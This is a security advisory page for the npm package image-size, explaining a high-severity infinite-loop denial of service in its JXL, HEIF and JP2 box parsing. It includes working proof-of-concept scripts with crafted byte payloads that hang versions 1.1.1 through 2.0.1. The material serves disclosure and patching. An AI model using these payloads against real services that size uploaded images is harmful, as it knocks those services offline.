Skip to content

image-size Denial of Service via Infinite Loop during Image Processing

High severity GitHub Reviewed Published Apr 2, 2025 in image-size/image-size • Updated Jun 10, 2026

Package

npm image-size (npm)

Affected versions

>= 1.1.0, < 1.2.1
>= 2.0.0, < 2.0.2

Patched versions

1.2.1
2.0.2

Description

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
  return keys.find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

    const ftypBox = findBox(input, 'ftyp', 0) //<---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === 'jxl '
  },

findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset < 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
  while (offset < input.length) {         // 0 < 8 => false
    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers:

PoC

Usage:

node main.js poc1|poc2
  • poc for image-size@2.0.1
// mkdir 2.0.1
// cd 2.0.1/
// npm i image-size@2.0.1
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");

const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() { 
  (async () => {
    await imageSizeFromFile(FILENAME)
    console.log('Done') // never executed
  })();
}

function poc2() {
  imageSize(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();
  • poc for image-size@1.2.0
// mkdir 1.2.0
// cd 1.2.0/
// npm i image-size@1.2.0
const sizeOf = require("image-size");
const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();
  • poc for image-size@1.1.1
// mkdir 1.1.1
// cd 1.1.1/
// npm i image-size@1.1.1
const sizeOf = require("image-size");
const fs = require('fs');

// HEIF
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x66, 0x74, 0x79, 0x70, // "ftyp"
  0x61, 0x76, 0x69, 0x66  // "avif"
]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

Impact

Denial of Service

References

@netroy netroy published to image-size/image-size Apr 2, 2025
Published to the GitHub Advisory Database Apr 2, 2025
Reviewed Apr 2, 2025
Published by the National Vulnerability Database Jun 9, 2026
Last updated Jun 10, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(27th percentile)

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. Learn more on MITRE.

CVE ID

CVE-2025-71319

GHSA ID

GHSA-m5qc-5hw7-8vg7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.
⚡